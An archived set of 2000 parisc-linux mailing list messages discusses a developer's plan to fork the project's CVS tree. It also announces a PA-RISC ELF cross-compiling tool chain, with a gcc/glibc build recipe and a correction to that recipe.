Xref: news.gmane.org gmane.linux.ports.parisc:7266

Philipp Rumpf wrote:
> Hi,
> I just returned from spending a month in California working on stuff
> not related to PA-RISC (and a week here trying to get back into
> normal life).

Hi Philipp,

I hope things went well...certainly sounded interesting...

...
> I am going to try to set up a sourceforge.net project to keep my
> modifications publicly-visible now;  while I'm not perfectly happy
> with announcing anything before people can actually look at my code,
> I couldn't think of any better way to do it.

I was somewhat (not totally) surprised by this. I had to think about
several things before replying:
o what to do with hardware HP and/or TPG/LC have loaned you?
o should you keep CVS access rights to TPG's tree?
o why are you unhappy with TPG's CVS tree?
o why don't you want to talk publicly about it?
o what is the effective impact?

Easy stuff:
o I don't see why HP would want you to return any HW...as long as
  you keep using it for developement and post those results.
o You are not so stupid as to malicously mangle TPG's CVS tree.
  Keeping CVS access should be fine.


Hard Stuff:
o Not sure about the net impact. TPG and HP folks will continue working
  using TPG's tree. I'm pretty sure the debian release will be based
  on TPG's tree.

  But I can think of several excellent reasons why it's better for
  you to publish/manage your own tree:
  + you can change everything as often as you like - you'll be happier
    and make more changes.
  + You stop wasting time with merging your changes to TPG/LC's tree.
  + Those changes are visible "immediately" instead of waiting for
    you to commit code. (which has been a serious problem, IMHO).
  + You need the experience. Working with others is seldom really easy.
    And keeping people motivated to work on stuff that one needs help
    with requires such experience. I'm talking about:
    http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/09-Sep/0011.html
    and similar conflicts with others.

  Drawbacks:
  - Someone else (who probably knows less about it) will end up
    merging your interesting changes to TPG/LC's tree.
    This is in addition to regular merges with linus' tree.


o I don't understand why you are so unhappy with TPG's CVS tree.
  Certainly there are design and implementation problems in that tree.
  But such compromises are necessary for cooperation. Until we have
  more data about what works/doesn't work, such compromises are part
  of sharing code. I didn't get everything I wanted either
  (eg do_irq_mask()).

  I assume you aren't talking about bug fixes.

o "Success" in a cooperative project like this requires constructive
  communication. Dave Miller/Martin Mares replied constructively to
  my e-mail inqueries despite the fact that (a) I'm a linux "novice" and
  (b) they have NFC who I am. I'm very impressed with both of them.
  And I think they also benefitted from at least a few of the things
  I wrote them.

...
> I do not think this fork has to be a permanent one, though I can't
> help thinking it is likely to be;

I suspect it will be too - working with others can be harder than
working alone. But on a "project" of this scope, I don't see one
person being successful.

> I will be happy to talk to the
> TPG/LC tree maintainers once I have a tree which I am happier with
> than I am with the current cvs tree.

Yes...but will they want to talk to you?
If HP helps TPG/LC run the tree, do they need to?
I hope you haven't "burned your bridges" here...


Anyway, thanks for telling us!
And I still look forward to future technical discussions with you!

thanks,
grant


Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Wed, 10 May 2000 21:16:41 -0400
Lines: 114
Approved: news@gmane.org
Message-ID: <1.5.4.32.20000511011641.006ef4a8@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618910 32581 80.91.229.3 (22 Nov 2014 01:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Thu May 11 01:16:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA32048
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 01:16:36 -0600
Original-Received: (qmail 1299 invoked by uid 15267); 11 May 2000 01:16:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1251 invoked from network); 11 May 2000 01:16:42 -0000
Original-Received: from cr592112-a.etob1.on.wave.home.com (HELO 24.112.191.14) (24.112.191.14)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 01:16:42 -0000
Original-Received: from flow4 (flow4.flow.north.net [198.52.32.250])
	by 24.112.191.14 (8.9.3/8.9.3) with SMTP id VAA02815
	for <parisc-linux@thepuffingroup.com>; Wed, 10 May 2000 21:16:36 -0400
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
X-Priority: 1 (Highest)
Xref: news.gmane.org gmane.linux.ports.parisc:7267

At 17:43 2000-05-10 -0700, you wrote:
>Philipp Rumpf wrote:
>> Hi,
>> I just returned from spending a month in California working on stuff
>> not related to PA-RISC (and a week here trying to get back into
>> normal life).
>
>Hi Philipp,
>
>I hope things went well...certainly sounded interesting...
>
>...
>> I am going to try to set up a sourceforge.net project to keep my
>> modifications publicly-visible now;  while I'm not perfectly happy
>> with announcing anything before people can actually look at my code,
>> I couldn't think of any better way to do it.
>
>I was somewhat (not totally) surprised by this. I had to think about
>several things before replying:
>o what to do with hardware HP and/or TPG/LC have loaned you?
>o should you keep CVS access rights to TPG's tree?
>o why are you unhappy with TPG's CVS tree?
>o why don't you want to talk publicly about it?
>o what is the effective impact?
>
>Easy stuff:
>o I don't see why HP would want you to return any HW...as long as
>  you keep using it for developement and post those results.
>o You are not so stupid as to malicously mangle TPG's CVS tree.
>  Keeping CVS access should be fine.
>
>
>Hard Stuff:
>o Not sure about the net impact. TPG and HP folks will continue working
>  using TPG's tree. I'm pretty sure the debian release will be based
>  on TPG's tree.
>
>  But I can think of several excellent reasons why it's better for
>  you to publish/manage your own tree:
>  + you can change everything as often as you like - you'll be happier
>    and make more changes.
>  + You stop wasting time with merging your changes to TPG/LC's tree.
>  + Those changes are visible "immediately" instead of waiting for
>    you to commit code. (which has been a serious problem, IMHO).
>  + You need the experience. Working with others is seldom really easy.
>    And keeping people motivated to work on stuff that one needs help
>    with requires such experience. I'm talking about:
>
http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/09-Sep/0011.html
>    and similar conflicts with others.
>
>  Drawbacks:
>  - Someone else (who probably knows less about it) will end up
>    merging your interesting changes to TPG/LC's tree.
>    This is in addition to regular merges with linus' tree.
>
>
>o I don't understand why you are so unhappy with TPG's CVS tree.
>  Certainly there are design and implementation problems in that tree.
>  But such compromises are necessary for cooperation. Until we have
>  more data about what works/doesn't work, such compromises are part
>  of sharing code. I didn't get everything I wanted either
>  (eg do_irq_mask()).
>
>  I assume you aren't talking about bug fixes.
>
>o "Success" in a cooperative project like this requires constructive
>  communication. Dave Miller/Martin Mares replied constructively to
>  my e-mail inqueries despite the fact that (a) I'm a linux "novice" and
>  (b) they have NFC who I am. I'm very impressed with both of them.
>  And I think they also benefitted from at least a few of the things
>  I wrote them.
>
>...
>> I do not think this fork has to be a permanent one, though I can't
>> help thinking it is likely to be;
>
>I suspect it will be too - working with others can be harder than
>working alone. But on a "project" of this scope, I don't see one
>person being successful.
>
>> I will be happy to talk to the
>> TPG/LC tree maintainers once I have a tree which I am happier with
>> than I am with the current cvs tree.
>
>Yes...but will they want to talk to you?
>If HP helps TPG/LC run the tree, do they need to?
>I hope you haven't "burned your bridges" here...
>
>
>Anyway, thanks for telling us!
>And I still look forward to future technical discussions with you!
>

Phillip: THX for all You've done so far
Grant: THX for that reply.

Now:

Could someone find a way to keep this group together? Yes, it is _much_
harder to work as a team (especially such a widespread one) than
individually. But potential rewards are also greater, since the obtainable
results are bigger. Now, as I haven't contributed anything, my input should
not count as much as I hope it could, but could maybe some compromise be
reached? The worst disappointment comes when one realises, how little would
the compromise _really_ cost had one tried to at least discuss (and
negotiate) it. Pluribus unum, Viribus unitis, Nec Hercules contra plures,
and so on...

PLEASE!

Otherwise, I may start committing code, and we'll see what You all think of
the effort then...;)


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Wed, 10 May 2000 22:06:27 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <200005110506.WAA25197@milano.cup.hp.com>
References: <1.5.4.32.20000511011641.006ef4a8@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618910 32586 80.91.229.3 (22 Nov 2014 01:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Tomasz Korycki <tkorycki@sprint.ca>
Original-X-From: grundler@cup.hp.com  Thu May 11 05:06:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA02179
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 05:06:00 -0600
Original-Received: (qmail 25675 invoked by uid 15267); 11 May 2000 05:06:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25659 invoked from network); 11 May 2000 05:06:03 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 05:06:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP
	id B869D31; Thu, 11 May 2000 01:06:02 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id WAA25197; Wed, 10 May 2000 22:06:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 10 May 2000 21:16:41 PDT."
             <1.5.4.32.20000511011641.006ef4a8@pop3.sprint.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:7268

Tomasz Korycki wrote:
...
> Phillip: THX for all You've done so far
> Grant: THX for that reply.
> 
> Now:
> 
> Could someone find a way to keep this group together?

Thomasz,
I don't understand your question.
I didn't have the impression Philipp was unsubscribing from parisc-linux
mailing lists and ignoring us.  He just wants a way to publish/manage his
own CVS repository and allow others to look at it.  Perhaps Philipp should
comment on that himself though...

> Otherwise, I may start committing code, and we'll see what You all think of
> the effort then...;)

You won't get flamed by me for doing that! :^)

I been know to send people older HW for offenses like that.
Even SCSI tape drives (especially to torment sshack :^).

cheers,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Thu, 11 May 2000 01:32:02 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <1.5.4.32.20000511053202.006e1e4c@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618911 32592 80.91.229.3 (22 Nov 2014 01:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Thu May 11 05:31:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA02490
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 05:31:57 -0600
Original-Received: (qmail 7931 invoked by uid 15267); 11 May 2000 05:32:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7902 invoked from network); 11 May 2000 05:32:03 -0000
Original-Received: from cr592112-a.etob1.on.wave.home.com (HELO 24.112.191.14) (24.112.191.14)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 05:32:03 -0000
Original-Received: from flow4 (flow4.flow.north.net [198.52.32.250])
	by 24.112.191.14 (8.9.3/8.9.3) with SMTP id BAA02948
	for <parisc-linux@thepuffingroup.com>; Thu, 11 May 2000 01:32:01 -0400
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:7269

>Tomasz Korycki wrote:
>...
>> Phillip: THX for all You've done so far
>> Grant: THX for that reply.
>> 
>> Now:
>> 
>> Could someone find a way to keep this group together?
>
>Thomasz,
>I don't understand your question.
>I didn't have the impression Philipp was unsubscribing from parisc-linux
>mailing lists and ignoring us.  He just wants a way to publish/manage his
>own CVS repository and allow others to look at it.  Perhaps Philipp should
>comment on that himself though...

It was not my impression either - "group" was meant here to imply "this
group of people who've been cooperationg towards a common goal", mailing
list or no. I believe Phillip still has the same goals as all the other
active participants (and some inactive ones, too), just that he sees a
different way of attaining them, which seems both better and and more
feasible to him. And he may be right. What I suggest, then, is that it is in
everybody's (including Phillip's) best interest if he were to put his
strengths into making the "common way" more amenable to him. And everyone
else should, perhaps, try to accomodate his requirements. Since I do not
know what they are, though, I will not pass judgment on their merit or
feasibility. But I do know, that splitting like that weakens both sides.
Sometimes significantly. And that is what I would _really_ not like to see.
  That's the first place since the old Netblazer list I fill good at. I
would enjoy the continuance of that feeling. I know, I know, that's not what
this is about. But I thought it might matter. 

  There were some warm exchanges here (and probably hotter in private), but
that's what should be expected in a cooperative project. At the same time,
this being email, they are treated differently (no matter how hard one tries
not to) than a collegue busting into Your cubicle and telling You what
You're full of. It's the asynchronous nature that makes us treat it
differently, as well as no opportunity to go for a beer after work and
settling whatever issue, right on the spot. But it is still possible, if
everybody just tries.

  And, there are the dangers You, Grant, Yourself, pointed out. They are not
small.

  Heck, I'm so worked up now, I won't go to bed until I put that 712
together from spares... wonder what'll come out! ;)
  And then, I just might deliver on my threat...

>
>> Otherwise, I may start committing code, and we'll see what You all think of
>> the effort then...;)
>
>You won't get flamed by me for doing that! :^)
>
>I been know to send people older HW for offenses like that.
>Even SCSI tape drives (especially to torment sshack :^).
>
>cheers,
>grant
>
>Grant Grundler
>Unix Development Lab
>+1.408.447.7253
>
>


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELF tool chain builds hello world!!!
Date: Thu, 11 May 2000 14:10:13 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <E12pzHh-0001Ji-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618911 32593 80.91.229.3 (22 Nov 2014 01:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu May 11 20:10:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA08967
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 20:10:07 -0600
Original-Received: (qmail 21197 invoked by uid 15267); 11 May 2000 20:10:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21184 invoked from network); 11 May 2000 20:10:16 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 20:10:16 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel1.hp.com (Postfix) with ESMTP id B7CBA9EC
	for <parisc-linux@thepuffingroup.com>; Thu, 11 May 2000 14:10:42 -0600 (MDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 1828A4FE19
	for <parisc-linux@thepuffingroup.com>; Thu, 11 May 2000 16:10:14 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12pzHh-0001Ji-00; Thu, 11 May 2000 14:10:13 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7270


Just thought I'd offer a binary tarball of a tool chain which can
cross-compile hello world!!!!!  (seems to work on the kernel too)
There are quite a few little icky things I did to build this which
I'll clean up and post, along with build recipes, over the next
day or so.

User space is not far off!!!!!

	-Paul Bame

The following tarball should be unpacked in / and it populates
/opt/palinux (not to be confused with /opt/puffin).  It is built
for i586 (I have an AMD K6 box at home!) on the Debian 'potato'
release.

ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/elf32x86.tar.gz


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF tool chain builds hello world!!!
Date: Thu, 11 May 2000 16:12:09 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <E12q1Bh-0008KE-00@endor.fc.hp.com>
References: <E12pzHh-0001Ji-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618911 32597 80.91.229.3 (22 Nov 2014 01:15:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu May 11 22:12:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA10408
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 22:12:01 -0600
Original-Received: (qmail 27066 invoked by uid 15267); 11 May 2000 22:12:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27059 invoked from network); 11 May 2000 22:12:10 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 22:12:10 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id EF16717B
	for <parisc-linux@thepuffingroup.com>; Thu, 11 May 2000 18:12:09 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12q1Bh-0008KE-00; Thu, 11 May 2000 16:12:09 -0600
In-reply-to: Your message of "Thu, 11 May 2000 14:10:13 MDT."
             <E12pzHh-0001Ji-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7271


To build the limping tool chain, grab the latest CVS bits for
binutils, gcc, and glibc, and follow a recipe somewhat like this
(it's not exact unfortunately, but should contain all the tricks):


PREFIX=$HOME/xc

cvs co binutils glibc gcc
cd gcc
ln -s ../binutils gcc/binutils

mkdir build-gcc
cd build-gcc
../gcc/configure \
	--disable-nls \
	--disable-shared \
	--target=hppa1.1-linux \
	--host=i586-pc-linux-gnu \
	--prefix=$PREFIX \
	--with-headers=/opt/puffin/include \
	--with-libs=$PREFIX/lib \
	--with-libc

make # need libiberty.a
# build until binutils is complete
cd binutils; make install

PATH=$PREFIX/bin:$PATH

cd ../..; mkdir build-glibc; cd build-glibc

../glibc/configure \
	--disable-nls \
	--without-nls \
	--disable-shared \
	--disable-profile \
	--enable-static-nss \
	--build=i586-linux \
	--host=hppa1.1-linux \
	--disable-sanity-checks \
	--with-headers=/opt/puffin/include \
	--prefix=$PREFIX

make # fails pretty soon

cp ../glibc/csu/crt?.S csu/
make # gets pretty far then fails looking for crtbegin.o

cd ../build-gcc
## Remove $PREFIX/bin from your $PATH!!!
## Repeat GCC configure from above then...
make install  # This installs the rest of gcc just in case...

cd ../build-glibc; make
make install MAKEINFO=

cd $(dirname $(find $PREFIX -name crtbegin.o))
ln -s $PREFIX/lib/* .

# Now you should be able to compile hello world

# The problem is that not all the headers seem to be available, in
# two categories: 1) some headers for example glibc/string/memory.h
# which ought to be installed as ...../include/string/memory.h, aren't
# and 2) things in <sys> like <sys/mount.h>


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF tool chain builds hello world!!!
Date: Thu, 11 May 2000 16:18:27 -0600
Lines: 86
Approved: news@gmane.org
Message-ID: <E12q1Hn-0008Kx-00@endor.fc.hp.com>
References: <E12q1Bh-0008KE-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618912 32599 80.91.229.3 (22 Nov 2014 01:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu May 11 22:19:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA10664
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 May 2000 22:19:32 -0600
Original-Received: (qmail 927 invoked by uid 15267); 11 May 2000 22:19:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 920 invoked from network); 11 May 2000 22:19:41 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 May 2000 22:19:41 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id BA28D54D
	for <parisc-linux@thepuffingroup.com>; Thu, 11 May 2000 15:18:27 -0700 (PDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12q1Hn-0008Kx-00; Thu, 11 May 2000 16:18:27 -0600
In-reply-to: Your message of "Thu, 11 May 2000 16:12:09 MDT."
             <E12q1Bh-0008KE-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7272


Gaak! so many errors in my recipe!

First, I'm pre-supposing you have /opt/puffin populated with the
current tool chain and the "includes" tarball in /opt/puffin/include.

= To build the limping tool chain, grab the latest CVS bits for
= binutils, gcc, and glibc, and follow a recipe somewhat like this
= (it's not exact unfortunately, but should contain all the tricks):
= 
= 
= PREFIX=$HOME/xc
= 
= cvs co binutils glibc gcc
Do Not = cd gcc
= ln -s ../binutils gcc/binutils
= 
= mkdir build-gcc
= cd build-gcc
= ../gcc/configure \
= 	--disable-nls \
= 	--disable-shared \
= 	--target=hppa1.1-linux \
= 	--host=i586-pc-linux-gnu \
= 	--prefix=$PREFIX \
= 	--with-headers=/opt/puffin/include \
= 	--with-libs=$PREFIX/lib \
= 	--with-libc
= 
= make # need libiberty.a
= # build until binutils is complete

It's probably OK to let gcc build to completion and install that, if it works

= cd binutils; make install
= 
= PATH=$PREFIX/bin:$PATH
= 
= cd ../..; mkdir build-glibc; cd build-glibc
= 
= ../glibc/configure \
= 	--disable-nls \
= 	--without-nls \
= 	--disable-shared \
= 	--disable-profile \
= 	--enable-static-nss \
= 	--build=i586-linux \
= 	--host=hppa1.1-linux \
= 	--disable-sanity-checks \
= 	--with-headers=/opt/puffin/include \
= 	--prefix=$PREFIX
= 
= make # fails pretty soon
= 
= cp ../glibc/csu/crt?.S csu/
= make # gets pretty far then fails looking for crtbegin.o
= 
= cd ../build-gcc

Do Not = ## Remove $PREFIX/bin from your $PATH!!!
Do Not = ## Repeat GCC configure from above then...

= make install  # This installs the rest of gcc just in case...
= 
= cd ../build-glibc; make
= make install MAKEINFO=
= 
= cd $(dirname $(find $PREFIX -name crtbegin.o))
= ln -s $PREFIX/lib/* .

You may get warnings here from 'ln' -- ignore them

= # Now you should be able to compile hello world
= 
= # The problem is that not all the headers seem to be available, in
= # two categories: 1) some headers for example glibc/string/memory.h
= # which ought to be installed as ...../include/string/memory.h, aren't
= # and 2) things in <sys> like <sys/mount.h>
= 
= ---------------------------------------------------------------------------
= To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
= `unsubscribe' as the subject.
= 
= 
= 


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF tool chain builds hello world!!!
Date: Thu, 11 May 2000 19:39:52 -0500 (CDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10005111937220.1048-100000@jesse.crash.lan>
References: <E12pzHh-0001Ji-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618912 32602 80.91.229.3 (22 Nov 2014 01:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: catfish@alltel.net  Fri May 12 00:39:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA11973
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 May 2000 00:39:20 -0600
Original-Received: (qmail 29598 invoked by uid 15267); 12 May 2000 00:39:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29580 invoked from network); 12 May 2000 00:39:25 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.253.187)
  by mailserv2.iuinc.com with SMTP; 12 May 2000 00:39:25 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id TAA01288;
	Thu, 11 May 2000 19:39:52 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <E12pzHh-0001Ji-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7273



On Thu, 11 May 2000, Paul Bame wrote:
> 
> User space is not far off!!!!!
> 
COOL!!!!
 I got a 715/75 with 64meg ram just waiting for an OS. 
  Also Has anyone thought about tweaking gcc so that it produces better
binaries for pa-risc, Like Alpha Linux gcc compiles with registers
basically with enough registers for an x86 and so speed is lost. 
 Just my .02 worth. 
Terry



From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Fri, 12 May 2000 15:37:47 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20000512153747.A19135@puffin.external.hp.com>
References: <20000509103707.A13782@puffin.external.hp.com> <200005110043.RAA24953@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618912 32607 80.91.229.3 (22 Nov 2014 01:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:12 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Fri May 12 15:37:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19288
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 May 2000 15:37:54 -0600
Original-Received: (qmail 20611 invoked by uid 15267); 12 May 2000 15:38:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20586 invoked from network); 12 May 2000 15:38:03 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 12 May 2000 15:38:03 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id PAA19283;
	Fri, 12 May 2000 15:37:47 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200005110043.RAA24953@milano.cup.hp.com>; from Grant Grundler on Wed, May 10, 2000 at 05:43:46PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7274

